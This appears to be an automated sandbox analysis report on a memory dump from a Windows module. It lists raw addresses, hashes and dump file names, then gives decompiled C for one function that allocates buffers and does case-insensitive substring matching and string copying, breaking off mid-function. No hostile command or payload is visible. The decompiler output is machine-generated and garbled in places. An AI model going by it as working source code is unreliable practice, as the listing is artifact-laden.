0x6f002b68
0x6f002b6c
0x6f002b70
0x6f002b72
0x00000000
0x00000000
0x6f002b78
0x6f002b7b
0x6f002b7d
0x00000000
0x00000000
0x6f002b7f
0x6f002b85
0x6f002b96
0x6f002b96
0x6f002b9b
0x6f002b9f
0x6f002ba3
0x6f002ba5
0x6f002ba8
0x6f002bab
0x6f002bad
0x6f002baf
0x6f002bb2
0x6f002bb4
0x6f002bb7
0x6f002bb7
0x6f002bb9
0x6f002bbd
0x6f002d0b
0x6f002d0b
0x6f002d12
0x6f002d14
0x6f002d1a
0x6f002d1c
0x6f002d1e
0x6f002d58
0x00000000
0x6f002d58
0x6f002d20
0x6f002d22
0x6f002d48
0x6f002d48
0x6f002d4a
0x6f002d4b
0x6f002d50
0x00000000
0x6f002d50
0x6f002d24
0x6f002d27
0x6f002d29
0x6f002d2b
0x00000000
0x00000000
0x6f002d2d
0x6f002d2d
0x6f002d2f
0x6f002d2f
0x6f002d30
0x6f002d35
0x6f002d39
0x6f002d3b
0x00000000
0x00000000
0x6f002d3d
0x6f002d41
0x6f002d44
0x6f002d46
0x00000000
0x00000000
0x00000000
0x6f002d46
0x00000000
0x6f002d2f
0x6f002bc3
0x6f002bc7
0x00000000
0x00000000
0x6f002bcd
0x6f002bcf
0x6f002c36
0x6f002c3b
0x6f002c3b
0x6f002c3e
0x6f002c41
0x6f002c44
0x6f002c46
0x6f002c59
0x6f002c5c
0x6f002c5c
0x6f002c62
0x6f002c6a
0x6f002c6a
0x6f002c6a
0x6f002c6d
0x6f002c74
0x6f002c77
0x6f002c78
0x6f002c7c
0x6f002c81
0x6f002c85
0x6f002c87
0x6f002c8d
0x6f002c8f
0x6f002c91
0x6f002cd6
0x00000000
0x6f002c93
0x6f002c93
0x6f002c95
0x6f002cc1
0x6f002cc1
0x6f002cc3
0x6f002cc4
0x6f002cc8
0x6f002ccd
0x6f002cd1
0x6f002cd9
0x6f002cd9
0x6f002cdc
0x6f002cdf
0x6f002ce1
0x6f002ce1
0x6f002ce3
0x00000000
0x00000000
0x6f002ce9
0x6f002ced
0x6f002cf3
0x6f002cf3
0x6f002cf6
0x6f002cf7
0x6f002cf9
0x6f002cfb
0x00000000
0x00000000
0x6f002cfd
0x6f002cff
0x6f002d60
0x00000000
0x6f002d60
0x6f002d01
0x6f002d01
0x6f002d03
0x00000000
0x00000000
0x6f002cf1
0x6f002cf2
0x6f002cf2
0x6f002cf2
0x6f002cf3
0x6f002c97
0x6f002c9a
0x6f002c9c
0x6f002c9e
0x00000000
0x00000000
0x6f002ca0
0x6f002ca3
0x6f002ca3
0x6f002ca5
0x6f002ca5
0x6f002ca6
0x6f002cab
0x6f002caf
0x6f002cb1
0x00000000
0x00000000
0x6f002cb3
0x6f002cb7
0x6f002cba
0x6f002cbc
0x00000000
0x00000000
0x00000000
0x6f002cbc
0x6f002cbe
0x00000000
0x6f002cbe
0x6f002c91
0x6f002c48
0x00000000
0x6f002c48
0x6f002bd1
0x6f002bd5
0x6f002bd5
0x6f002bd8
0x6f002bec
0x6f002bf8
0x6f002bf8
0x6f002bfe
0x6f002bfe
0x6f002c03
0x6f002c07
0x6f002c0b
0x6f002c0d
0x00000000
0x00000000
0x6f002c13
0x6f002c16
0x6f002c18
0x00000000
0x00000000
0x6f002c1a
0x6f002c20
0x6f002c31
0x6f002c31
0x00000000
0x00000000
0x00000000
0x00000000
0x6f002c22
0x6f002c22
0x6f002c22
0x6f002c26
0x00000000
0x00000000
0x6f002c28
0x6f002c29
0x6f002c2f
0x00000000
0x00000000
0x00000000
0x6f002c2f
0x00000000
0x6f002c22
0x6f002d69
0x6f002d6c
0x00000000
0x6f002d6c
0x6f002bdc
0x6f002bde
0x6f002bde
0x6f002be1
0x6f002be1
0x6f002be5
0x00000000
0x00000000
0x6f002be7
0x6f002be8
0x6f002bea
0x00000000
0x00000000
0x00000000
0x6f002bea
0x00000000
0x00000000
0x00000000
0x00000000
0x6f002b87
0x6f002b87
0x6f002b87
0x6f002b8b
0x00000000
0x00000000
0x6f002b8d
0x6f002b8e
0x6f002b94
0x00000000
0x00000000
0x00000000
0x6f002b94
0x00000000
0x6f002b87
0x6f002d73
0x6f002d76
0x00000000
0x6f002d76
0x6f002b41
0x6f002b43
0x6f002b43
0x6f002b46
0x6f002b46
0x6f002b4a
0x00000000
0x00000000
0x6f002b4c
0x6f002b4d
0x6f002b4f
0x00000000
0x00000000
0x00000000
0x6f002b4f
0x00000000
0x00000000
0x00000000
0x00000000
0x6f002b24
0x6f002b24
0x6f002b24
0x6f002b28
0x00000000
0x00000000
0x6f002b2a
0x6f002b2b
0x6f002b31
0x00000000
0x00000000
0x00000000
0x6f002b31
0x00000000
0x6f002b24
0x6f002d7d
0x6f002d80
0x00000000
0x6f002d80
0x6f002adf
0x6f002ae1
0x6f002ae1
0x6f002ae3
0x6f002ae3
0x6f002ae7
0x00000000
0x00000000
0x6f002ae9
0x6f002aea
0x6f002aec
0x00000000
0x00000000
0x00000000
0x6f002aec
0x00000000
0x6f002ae3
0x6f002ac0
0x6f002ac1
0x6f002ac5
0x00000000
0x00000000
0x00000000
0x6f002ac5
0x6f002d87
0x6f002d8b
0x6f002d8f
0x6f002d95
0x6f002d95
0x6f002d96
0x00000000
0x00000000
0x6f002d9c
0x6f002da5
0x6f002daa
0x6f002dad
0x6f002db1
0x00000000
0x00000000
0x6f002db7
0x6f002dbb
0x6f002dbf
0x6f002dbf
0x6f002dc0
0x6f002dc1
0x6f002dcb
0x6f002dd1
0x6f002dd4
0x6f002dd6
0x00000000
0x00000000
0x6f002dd8
0x6f002ddb
0x00000000
0x00000000
0x00000000
0x6f002ddd
0x00000000
0x6f002dbf
0x6f002a50
0x6f002a54
0x6f002a54
0x6f002a58
0x00000000
0x00000000
0x6f002a5e
0x6f002a5f
0x6f002a65
0x00000000
0x00000000
0x6f002a67
0x00000000
0x6f002a67
0x6f002de2
0x6f002de2
0x6f002de6
0x6f002de6
0x6f002de8
0x00000000
0x00000000
0x6f002dee
0x00000000
0x00000000
0x6f002df4
0x6f002df8
0x00000000
0x6f002df8
0x6f002e01
0x6f002e04
0x6f002e08
0x6f002e0a
0x00000000
0x6f002e0a
0x6f0029ef
0x6f0029f3
0x6f0029f5
0x6f0029f5
0x6f0029f7
0x6f0029f7
0x6f0029fb
0x00000000
0x00000000
0x6f002a01
0x6f002a02
0x6f002a04
0x00000000
0x00000000
0x6f002a06
0x00000000
0x6f002a06
0x00000000
0x6f002e10
0x6f002e10
0x6f002e14
0x6f002e18
0x6f002e18
0x00000000
0x6f002e20
0x00000000
0x6f00287e
0x6f002807
0x6f00280a
0x6f00280c
0x6f00280e
0x00000000
0x00000000
0x6f002810
0x6f002814
0x6f002814
0x6f002816
0x6f00281a
0x6f00281d
0x6f00281d
0x6f00281e
0x6f002823
0x6f002827
0x6f002829
0x00000000
0x00000000
0x6f00282b
0x6f00282f
0x6f002832
0x6f002834
0x00000000
0x00000000
0x00000000
0x6f002834
0x6f002836
0x6f00283a
0x6f00283e
0x00000000
0x6f00283e
0x6f002801
0x6f0027bf
0x00000000
0x6f0027bf
0x6f00273b
0x6f00273b
0x6f00273e
0x6f002756
0x6f00275a
0x6f002766
0x6f002766
0x6f00276c
0x6f00276c
0x6f002771
0x6f002775
0x6f002779
0x6f00277b
0x00000000
0x00000000
0x6f002781
0x6f002784
0x6f002786
0x00000000
0x00000000
0x6f002788
0x6f00278e
0x6f0027a3
0x6f0027a3
0x6f0027a8
0x00000000
0x00000000
0x00000000
0x00000000
0x6f002790
0x6f002790
0x6f002790
0x6f002794
0x00000000
0x00000000
0x6f00279a
0x6f00279b
0x6f0027a1
0x00000000
0x00000000
0x00000000
0x6f0027a1
0x6f002e25
0x6f002e25
0x6f002e28
0x6f002e36
0x6f002e2a
0x6f002e2a
0x6f002e2d
0x6f002e2d
0x00000000
0x6f002e28
0x6f002e40
0x6f002e43
0x00000000
0x6f002e43
0x6f002742
0x6f002744
0x6f002744
0x6f002747
0x6f002747
0x6f00274b
0x00000000
0x00000000
0x6f002751
0x6f002752
0x6f002754
0x00000000
0x00000000
0x00000000
0x6f002754
0x00000000
0x6f002747
0x6f002728
0x00000000
0x6f002728
0x6f0026de
0x6f002704
0x6f002704
0x6f002706
0x6f002707
0x6f00270c
0x00000000
0x6f00270c
0x6f0026e0
0x6f0026e3
0x6f0026e7
0x00000000
0x00000000
0x6f0026e9
0x6f0026eb
0x6f0026eb
0x6f0026ec
0x6f0026f1
0x6f0026f7
0x00000000
0x00000000
0x6f0026f9
0x6f0026fd
0x6f002702
0x00000000
0x00000000
0x00000000
0x6f002702
0x00000000

Strings

@, xrefs: 6F002718

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 933df8fe11205ce58da33e9f299d6ed847c0e435b40f8ebfae3a0afc1ac406fd
Instruction ID: ddf5107b8c52cf31229ccfc96aa3c802780f631e647f71ad9bca03c6fa172459
Opcode Fuzzy Hash: 933df8fe11205ce58da33e9f299d6ed847c0e435b40f8ebfae3a0afc1ac406fd
Instruction Fuzzy Hash: 6E325C70A093928BF715DE38C89036E7BE26FC6310F19876ED8A55F292DB34D945C782

Uniqueness

Uniqueness Score: -1.00%

Function 6F001730, Relevance: 1.9, Strings: 1, Instructions: 649
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6F001730(unsigned int __ecx, void* __eflags, signed int* _a4, char _a8) {
				signed int _v32;
				signed int _v36;
				signed int _v40;
				void _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				unsigned int _v68;
				char* _t181;
				signed int _t182;
				signed int* _t188;
				signed int _t192;
				signed int* _t193;
				signed int _t198;
				signed int _t202;
				signed int _t205;
				void* _t206;
				signed int _t211;
				signed int _t214;
				signed int _t226;
				signed int _t228;
				signed int _t233;
				signed int _t236;
				signed int _t237;
				signed int _t240;
				signed int _t241;
				signed int _t244;
				signed int _t245;
				signed int _t251;
				signed int _t252;
				signed int _t258;
				signed int _t260;
				signed int _t261;
				char _t262;
				char _t263;
				signed int _t264;
				signed int _t265;
				void* _t268;
				signed int _t270;
				char _t272;
				unsigned int _t275;
				signed int _t276;
				signed int _t279;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t283;
				signed int _t284;
				signed int _t286;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed int _t290;
				signed int _t291;
				signed int _t292;
				signed int _t294;
				intOrPtr* _t295;
				void* _t296;
				signed int _t297;
				intOrPtr* _t298;
				signed int _t299;
				signed int _t300;
				void* _t301;
				signed int _t303;
				signed int _t309;
				signed int _t312;
				signed int _t314;
				signed int _t320;
				signed int _t321;
				signed int _t323;
				signed int _t324;
				void* _t325;
				signed int _t326;
				signed int _t327;
				signed int _t330;
				signed int* _t331;
				void* _t332;
				signed int _t333;
				signed int _t334;
				signed int _t335;
				signed int _t339;
				intOrPtr* _t341;
				signed int _t342;
				signed int _t343;
				signed int _t347;
				char _t349;
				char _t350;
				char _t351;
				unsigned int _t353;
				signed int _t355;
				signed int _t356;
				signed int _t360;
				signed int _t361;
				signed int _t363;
				unsigned int _t368;
				signed int _t370;
				signed int _t372;
				signed int _t377;
				signed int _t378;
				signed int _t379;
				signed int _t382;
				signed int _t386;
				signed int _t387;
				signed int _t388;
				void* _t391;

				_v56 = 0;
				_t353 = __ecx;
				_v52 = 0;
				_push(0x40);
				_t363 = E6EFF1030();
				_t391 = (_t388 & 0xfffffff0) - 0x34 + 4;
				_t181 = _v56;
				if(_t181 == 0) {
					 *_t363 = 0;
					L8:
					_t182 = _a8;
					_v52 = 0x40;
					_v56 = _t363;
					if(_t182 != 0) {
						__eflags = _t363;
						if(_t363 == 0) {
							_t260 = 0x40;
							_t240 = 0;
							L22:
							_t20 = _t240 + 2; // 0x80000001
							_t289 = _t20;
							__eflags = _t289 - 0x40;
							_t290 =  <=  ? 0x40 : _t289;
							__eflags = _t260 - _t290;
							if(_t260 < _t290) {
								_t368 = (_t290 >> 5 >> 0x1a) + _t290 >> 6;
								_t291 = _t290 & 0x8000003f;
								__eflags = _t291;
								if(_t291 < 0) {
									_t291 = (_t291 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t291;
								}
								__eflags = _t291;
								_t370 = _t368 + (0 | _t291 > 0x00000000) << 6;
								_push(_t370);
								_t261 = E6EFF1030();
								_t391 = _t391 + 4;
								_t292 = _v56;
								__eflags = _t292;
								if(_t292 == 0) {
									 *_t261 = 0;
									goto L35;
								} else {
									__eflags = _t261;
									if(_t261 == 0) {
										L33:
										_push(1);
										_push(_t292);
										_v68 = _t261;
										E6EFF10B0();
										_t261 = _v68;
										_t391 = _t391 + 8;
										L35:
										_v52 = _t370;
										_v56 = _t261;
										L36:
										 *((char*)(_t261 + _t240)) = _a8;
										_t188 =  &_v56;
										 *((char*)(_t240 +  *_t188 + 1)) = 0;
										L37:
										_t294 =  *_t188;
										if(_t294 == 0) {
											L39:
											_t295 = _a4;
											_push(0x40);
											 *_t295 = 0;
											 *((intOrPtr*)(_t295 + 4)) = 0;
											_t241 = E6EFF1030();
											_t391 = _t391 + 4;
											_t192 =  *_a4;
											if(_t192 == 0) {
												 *_t241 = 0;
												L60:
												_t193 = _a4;
												 *_t193 = _t241;
												_t193[1] = 0x40;
												L61:
												_push(1);
												_push(_v56);
												E6EFF10B0();
												_v56 = 0;
												_v52 = 0;
												return _a4;
											}
											if(_t241 == 0) {
												L45:
												_push(1);
												_push(_t192);
												E6EFF10B0();
												_t391 = _t391 + 8;
												goto L60;
											}
											_t296 =  *_t192;
											 *_t241 = _t296;
											if(_t296 == 0) {
												goto L45;
											}
											_t297 = 0;
											while(1) {
												_t297 = _t297 + 1;
												_t262 =  *((char*)(_t192 + _t297 * 2 - 1));
												 *((char*)(_t241 + _t297 * 2 - 1)) = _t262;
												if(_t262 == 0) {
													goto L45;
												}
												_t263 =  *((char*)(_t192 + _t297 * 2));
												 *((char*)(_t241 + _t297 * 2)) = _t263;
												if(_t263 != 0) {
													continue;
												}
												goto L45;
											}
											goto L45;
										}
										_t198 =  *_t294;
										if(_t198 != 0) {
											_t355 =  *_t353;
											__eflags = _t355;
											if(_t355 == 0) {
												L52:
												_t298 = _a4;
												_push(0x40);
												 *_t298 = 0;
												 *((intOrPtr*)(_t298 + 4)) = 0;
												_t241 = E6EFF1030();
												_t391 = _t391 + 4;
												_t202 =  *_a4;
												__eflags = _t202;
												if(_t202 == 0) {
													 *_t241 = 0;
													goto L60;
												}
												__eflags = _t241;
												if(_t241 == 0) {
													L58:
													_push(1);
													_push(_t202);
													E6EFF10B0();
													_t391 = _t391 + 8;
													goto L60;
												}
												_t299 =  *_t202;
												 *_t241 = _t299;
												__eflags = _t299;
												if(_t299 == 0) {
													goto L58;
												}
												_t300 = 0;
												__eflags = 0;
												while(1) {
													_t300 = _t300 + 1;
													_t264 =  *((char*)(_t202 + _t300 * 2 - 1));
													 *(_t241 + _t300 * 2 - 1) = _t264;
													__eflags = _t264;
													if(_t264 == 0) {
														goto L58;
													}
													_t265 =  *((char*)(_t202 + _t300 * 2));
													 *(_t241 + _t300 * 2) = _t265;
													__eflags = _t265;
													if(_t265 != 0) {
														continue;
													}
													goto L58;
												}
												goto L58;
											}
											__eflags =  *_t355;
											if( *_t355 == 0) {
												goto L52;
											}
											_v48 = _t198;
											_t372 = _t198 - 0x41;
											__eflags = _t372 - 0x19;
											_v64 = _t372;
											_t267 =  >  ? _t198 : _t198 + 0x20;
											_t243 =  >  ? _t198 : _t198 + 0x20;
											_t268 = 0;
											__eflags = 0;
											_v68 =  >  ? _t198 : _t198 + 0x20;
											_v36 = _t294;
											_t244 = _t355;
											while(1) {
												_t301 =  *_t244;
												__eflags = _t301 - 0x41 - 0x19;
												_t302 =  <=  ? _t301 + 0x20 : _t301;
												__eflags = ( <=  ? _t301 + 0x20 : _t301) - _v68;
												if(( <=  ? _t301 + 0x20 : _t301) == _v68) {
													break;
												}
												_t268 = _t268 + 1;
												_t244 = _t244 + 1;
												__eflags =  *((char*)(_t268 + _t355));
												if( *((char*)(_t268 + _t355)) != 0) {
													continue;
												}
												goto L52;
											}
											_t205 = _v48;
											_t303 = _v36;
											__eflags = _t244;
											if(_t244 == 0) {
												goto L52;
											}
											_t270 = _t303 & 0x0000000f;
											_v44 = _t205 + 0x20;
											asm("pxor xmm0, xmm0");
											_v40 = _t355;
											_t377 =  ~_t270 + 0x10;
											__eflags = _t377;
											_v48 = _t205;
											_v36 = _t303;
											do {
												_t356 = _t270;
												__eflags = _t270;
												if(_t270 == 0) {
													L69:
													_v32 = _t377;
													_t309 =  ~( ~_t356 + 0x0000000f & 0x0000000f) + 0x7fffffff;
													__eflags = _t309;
													_t378 = _v36;
													while(1) {
														asm("movdqu xmm1, [esi+edi]");
														asm("pcmpeqb xmm1, xmm0");
														asm("pmovmskb eax, xmm1");
														__eflags = _t205;
														if(_t205 != 0) {
															break;
														}
														_t356 = _t356 + 0x10;
														__eflags = _t356 - _t309;
														if(_t356 < _t309) {
															continue;
														}
														_v36 = _t378;
														_t379 = _v32;
														__eflags = _t309 - 0x7fffffff;
														if(_t309 >= 0x7fffffff) {
															L77:
															_t309 = 0x7fffffff;
															L78:
															_v60 = _t309;
															_t206 = 0;
															__eflags = 0;
															_v68 = _t270;
															_v32 = _t379;
															while(1) {
																_t310 =  *((char*)(_t206 + _t244));
																_t272 =  *((char*)(_t206 + _v36));
																_t110 = _t310 - 0x61; // 0x7fffff9e
																__eflags = _t110 - 0x19;
																_t111 = _t310 - 0x20; // 0x7fffffdf
																_t311 =  <=  ? _t111 :  *((char*)(_t206 + _t244));
																__eflags = _t272 - 0x61 - 0x19;
																_t312 =  <=  ? _t111 :  *((char*)(_t206 + _t244));
																_t273 =  <=  ? _t272 - 0x20 : _t272;
																_t274 =  <=  ? _t272 - 0x20 : _t272;
																__eflags = _t312 - ( <=  ? _t272 - 0x20 : _t272);
																if(__eflags < 0 || __eflags > 0) {
																	break;
																}
																__eflags = _t312;
																if(_t312 == 0) {
																	L83:
																	_t360 = _v40;
																	__eflags = _t244;
																	if(_t244 == 0) {
																		goto L52;
																	}
																	_t245 = _t244 - _t360;
																	__eflags = _t245;
																	if(_t245 != 0) {
																		_t279 = _t360 & 0x0000000f;
																		__eflags = _t279;
																		if(_t279 == 0) {
																			L97:
																			_t320 =  ~( ~_t279 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																			__eflags = _t320;
																			while(1) {
																				asm("movdqu xmm1, [edi+ecx]");
																				asm("pcmpeqb xmm1, xmm0");
																				asm("pmovmskb eax, xmm1");
																				__eflags = _t205;
																				if(_t205 != 0) {
																					break;
																				}
																				_t279 = _t279 + 0x10;
																				__eflags = _t279 - _t320;
																				if(_t279 < _t320) {
																					continue;
																				}
																				__eflags = _t320 - 0x7fffffff;
																				if(_t320 >= 0x7fffffff) {
																					L103:
																					_t320 = 0x7fffffff;
																					L104:
																					_t211 = _t320 >> 0x0000001f & _t320;
																					_t321 = _t320 - _t211;
																					__eflags = _t245;
																					if(_t245 < 0) {
																						L106:
																						_t245 = _t321;
																						L107:
																						_t280 = _a4;
																						 *_t280 = 0;
																						 *((intOrPtr*)(_t280 + 4)) = 0;
																						_t386 = _t211 + _t360;
																						__eflags = _t386;
																						_v64 = _t386;
																						if(_t386 == 0) {
																							L141:
																							_push(0x40);
																							_t241 = E6EFF1030();
																							_t391 = _t391 + 4;
																							_t214 =  *_a4;
																							__eflags = _t214;
																							if(_t214 == 0) {
																								 *_t241 = 0;
																								goto L60;
																							}
																							__eflags = _t241;
																							if(_t241 == 0) {
																								L147:
																								_push(1);
																								_push(_t214);
																								E6EFF10B0();
																								_t391 = _t391 + 8;
																								goto L60;
																							}
																							_t323 =  *_t214;
																							 *_t241 = _t323;
																							__eflags = _t323;
																							if(_t323 == 0) {
																								goto L147;
																							}
																							_t324 = 0;
																							__eflags = 0;
																							while(1) {
																								_t324 = _t324 + 1;
																								_t281 =  *((char*)(_t214 + _t324 * 2 - 1));
																								 *(_t241 + _t324 * 2 - 1) = _t281;
																								__eflags = _t281;
																								if(_t281 == 0) {
																									goto L147;
																								}
																								_t282 =  *((char*)(_t214 + _t324 * 2));
																								 *(_t241 + _t324 * 2) = _t282;
																								__eflags = _t282;
																								if(_t282 != 0) {
																									continue;
																								}
																								goto L147;
																							}
																							goto L147;
																						}
																						__eflags =  *(_t360 + _t211);
																						if( *(_t360 + _t211) == 0) {
																							goto L141;
																						}
																						__eflags = _t245;
																						if(_t245 != 0) {
																							L121:
																							_t137 = _t245 + 1; // 0x80000000
																							_t325 = _t137;
																							__eflags = _t325 - 0x40;
																							_t326 =  <=  ? 0x40 : _t325;
																							__eflags = _t326;
																							if(_t326 > 0) {
																								_v68 = (_t326 >> 5 >> 0x1a) + _t326 >> 6;
																								_t327 = _t326 & 0x8000003f;
																								__eflags = _t327;
																								if(_t327 < 0) {
																									_t327 = (_t327 - 0x00000001 | 0xffffffc0) + 1;
																									__eflags = _t327;
																								}
																								__eflags = _t327;
																								_t330 = _v68 + (0 | _t327 > 0x00000000) << 6;
																								_v68 = _t330;
																								_push(_t330);
																								_t387 = E6EFF1030();
																								_t391 = _t391 + 4;
																								_t226 =  *_a4;
																								__eflags = _t226;
																								if(_t226 == 0) {
																									 *_t387 = 0;
																									goto L133;
																								} else {
																									__eflags = _t387;
																									if(_t387 == 0) {
																										L131:
																										_push(1);
																										_push(_t226);
																										E6EFF10B0();
																										_t391 = _t391 + 8;
																										L133:
																										_t331 = _a4;
																										_t331[1] = _v68;
																										 *_t331 = _t387;
																										L134:
																										__eflags = _t387;
																										if(_t387 == 0) {
																											goto L61;
																										}
																										_t283 = _v64;
																										_t332 = 0;
																										while(1) {
																											_t228 =  *_t283;
																											_t332 = _t332 + 1;
																											 *_t387 = _t228;
																											__eflags = _t245;
																											if(_t245 == 0) {
																												goto L139;
																											}
																											__eflags = _t332 - _t245;
																											if(_t332 == _t245) {
																												 *(_t387 + 1) = 0;
																												goto L61;
																											}
																											L139:
																											__eflags = _t228;
																											if(_t228 == 0) {
																												goto L61;
																											}
																											_t387 = _t387 + 1;
																											_t283 = _t283 + 1;
																											__eflags = _t283;
																										}
																									}
																									_t333 =  *_t226;
																									 *_t387 = _t333;
																									__eflags = _t333;
																									if(_t333 == 0) {
																										goto L131;
																									}
																									_t284 = 0;
																									__eflags = 0;
																									while(1) {
																										_t284 = _t284 + 1;
																										_t334 =  *((char*)(_t226 + _t284 * 2 - 1));
																										 *(_t387 + _t284 * 2 - 1) = _t334;
																										__eflags = _t334;
																										if(_t334 == 0) {
																											goto L131;
																										}
																										_t335 =  *((char*)(_t226 + _t284 * 2));
																										 *(_t387 + _t284 * 2) = _t335;
																										__eflags = _t335;
																										if(_t335 != 0) {
																											continue;
																										}
																										goto L131;
																									}
																									goto L131;
																								}
																							}
																							_t387 = 0;
																							goto L134;
																						}
																						_t361 = _t360 + _t211;
																						_t339 = _t361 & 0x0000000f;
																						__eflags = _t339;
																						if(_t339 == 0) {
																							L114:
																							_t245 =  ~( ~_t339 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																							__eflags = _t245;
																							while(1) {
																								asm("movdqu xmm1, [edi+edx]");
																								asm("pcmpeqb xmm1, xmm0");
																								asm("pmovmskb eax, xmm1");
																								__eflags = _t211;
																								if(_t211 != 0) {
																									break;
																								}
																								_t339 = _t339 + 0x10;
																								__eflags = _t339 - _t245;
																								if(_t339 < _t245) {
																									continue;
																								}
																								__eflags = _t245 - 0x7fffffff;
																								if(_t245 >= 0x7fffffff) {
																									L120:
																									_t245 = 0x7fffffff;
																									goto L121;
																								} else {
																									goto L118;
																								}
																								while(1) {
																									L118:
																									__eflags =  *((char*)(_t245 + _t361));
																									if( *((char*)(_t245 + _t361)) == 0) {
																										goto L121;
																									}
																									_t245 = _t245 + 1;
																									__eflags = _t245 - 0x7fffffff;
																									if(_t245 < 0x7fffffff) {
																										continue;
																									}
																									goto L120;
																								}
																								goto L121;
																							}
																							asm("bsf ebx, eax");
																							_t245 = _t245 + _t339;
																							goto L121;
																						}
																						_t245 = 0;
																						_t339 =  ~_t339 + 0x10;
																						__eflags = _t339;
																						while(1) {
																							__eflags =  *((char*)(_t245 + _t361));
																							if( *((char*)(_t245 + _t361)) == 0) {
																								goto L121;
																							}
																							_t245 = _t245 + 1;
																							__eflags = _t245 - _t339;
																							if(_t245 < _t339) {
																								continue;
																							}
																							goto L114;
																						}
																						goto L121;
																					}
																					__eflags = _t245 - _t321;
																					if(_t245 <= _t321) {
																						goto L107;
																					}
																					goto L106;
																				} else {
																					goto L101;
																				}
																				while(1) {
																					L101:
																					__eflags =  *((char*)(_t320 + _t360));
																					if( *((char*)(_t320 + _t360)) == 0) {
																						goto L104;
																					}
																					_t320 = _t320 + 1;
																					__eflags = _t320 - 0x7fffffff;
																					if(_t320 < 0x7fffffff) {
																						continue;
																					}
																					goto L103;
																				}
																				goto L104;
																			}
																			asm("bsf edx, eax");
																			_t320 = _t320 + _t279;
																			goto L104;
																		}
																		_t320 = 0;
																		_t279 =  ~_t279 + 0x10;
																		__eflags = _t279;
																		while(1) {
																			__eflags =  *((char*)(_t320 + _t360));
																			if( *((char*)(_t320 + _t360)) == 0) {
																				goto L104;
																			}
																			_t320 = _t320 + 1;
																			__eflags = _t320 - _t279;
																			if(_t320 < _t279) {
																				continue;
																			}
																			goto L97;
																		}
																		goto L104;
																	}
																	_t341 = _a4;
																	_push(0x40);
																	 *_t341 = 0;
																	 *((intOrPtr*)(_t341 + 4)) = 0;
																	_t241 = E6EFF1030();
																	_t391 = _t391 + 4;
																	_t233 =  *_a4;
																	__eflags = _t233;
																	if(_t233 == 0) {
																		 *_t241 = 0;
																		goto L60;
																	}
																	__eflags = _t241;
																	if(_t241 == 0) {
																		L91:
																		_push(1);
																		_push(_t233);
																		E6EFF10B0();
																		_t391 = _t391 + 8;
																		goto L60;
																	}
																	_t342 =  *_t233;
																	 *_t241 = _t342;
																	__eflags = _t342;
																	if(_t342 == 0) {
																		goto L91;
																	}
																	_t343 = 0;
																	__eflags = 0;
																	while(1) {
																		_t343 = _t343 + 1;
																		_t286 =  *((char*)(_t233 + _t343 * 2 - 1));
																		 *(_t241 + _t343 * 2 - 1) = _t286;
																		__eflags = _t286;
																		if(_t286 == 0) {
																			goto L91;
																		}
																		_t287 =  *((char*)(_t233 + _t343 * 2));
																		 *(_t241 + _t343 * 2) = _t287;
																		__eflags = _t287;
																		if(_t287 != 0) {
																			continue;
																		}
																		goto L91;
																	}
																	goto L91;
																}
																_t206 = _t206 + 1;
																__eflags = _t206 - _v60;
																if(_t206 < _v60) {
																	continue;
																}
																goto L83;
															}
															_t275 = _v68;
															_t382 = _v32;
															_t314 = _t244 + 1;
															__eflags = _t314;
															if(_t314 == 0) {
																goto L52;
															}
															__eflags = _v64 - 0x19;
															_t208 =  <=  ? _v44 : _v48;
															_t205 =  <=  ? _v44 : _v48;
															__eflags =  *(_t244 + 1);
															if( *(_t244 + 1) == 0) {
																goto L52;
															}
															_v68 = _t275;
															_v32 = _t382;
															while(1) {
																_t244 = _t244 + 1;
																_t314 = _t314 + 1;
																_t276 =  *_t244 & 0x000000ff;
																__eflags =  *((char*)(_t314 - 1)) + 0xffffffbf - 0x19;
																_t277 =  <=  ? _t276 + 0x20 : _t276;
																__eflags = ( <=  ? _t276 + 0x20 : _t276) - _t205;
																if(( <=  ? _t276 + 0x20 : _t276) == _t205) {
																	goto L163;
																}
																__eflags =  *_t314;
																if( *_t314 != 0) {
																	continue;
																}
																goto L52;
															}
															goto L163;
														}
														_t205 = _v36;
														while(1) {
															__eflags =  *((char*)(_t309 + _t205));
															if( *((char*)(_t309 + _t205)) == 0) {
																break;
															}
															_t309 = _t309 + 1;
															__eflags = _t309 - 0x7fffffff;
															if(_t309 < 0x7fffffff) {
																continue;
															}
															_v36 = _t205;
															goto L77;
														}
														L158:
														_v36 = _t205;
														L159:
														__eflags = _t309;
														if(__eflags == 0) {
															goto L77;
														}
														if(__eflags > 0) {
															goto L78;
														}
														goto L83;
													}
													asm("bsf edx, eax");
													_v36 = _t378;
													_t309 = _t309 + _t356;
													_t379 = _v32;
													goto L159;
												}
												_t205 = _v36;
												_t356 = _t377;
												_t309 = 0;
												__eflags = 0;
												while(1) {
													__eflags =  *((char*)(_t309 + _t205));
													if( *((char*)(_t309 + _t205)) == 0) {
														goto L158;
													}
													_t309 = _t309 + 1;
													__eflags = _t309 - _t377;
													if(_t309 < _t377) {
														continue;
													}
													_v36 = _t205;
													goto L69;
												}
												goto L158;
												L163:
												_t270 = _v68;
												_t377 = _v32;
												__eflags = _t244;
											} while (_t244 != 0);
											goto L52;
										}
										goto L39;
									}
									_t236 =  *_t292;
									 *_t261 = _t236;
									__eflags = _t236;
									if(_t236 == 0) {
										goto L33;
									}
									_v60 = _t370;
									_t237 = 0;
									__eflags = 0;
									_v64 = _t240;
									_v68 = _t353;
									while(1) {
										_t237 = _t237 + 1;
										_t251 =  *((char*)(_t292 + _t237 * 2 - 1));
										 *(_t261 + _t237 * 2 - 1) = _t251;
										__eflags = _t251;
										if(_t251 == 0) {
											break;
										}
										_t252 =  *((char*)(_t292 + _t237 * 2));
